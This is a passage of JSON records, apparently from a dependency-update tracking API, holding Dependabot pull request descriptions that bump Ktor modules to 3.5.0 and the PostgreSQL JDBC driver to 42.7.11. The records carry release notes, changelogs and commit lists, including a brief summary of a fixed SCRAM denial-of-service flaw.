href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-config-yaml` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-config-yaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonS...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/orkivar/pull/91","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Forkivar/issues/91","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/91/packages"}},{"old_version":"42.7.3","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-29T22:59:57.000Z","version_change":"42.7.3 → 42.7.11","issue":{"uuid":"4552137830","node_id":"PR_kwDOSq19D87g1RGU","number":9,"state":"open","title":"Bump org.postgresql:postgresql from 42.7.3 to 42.7.11","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-29T22:59:57.000Z","updated_at":"2026-05-29T23:38:21.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"org.postgresql:postgresql","old_version":"42.7.3","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":null,"ecosystem":"maven"},"body":"Bumps [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) from 42.7.3 to 42.7.11.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca 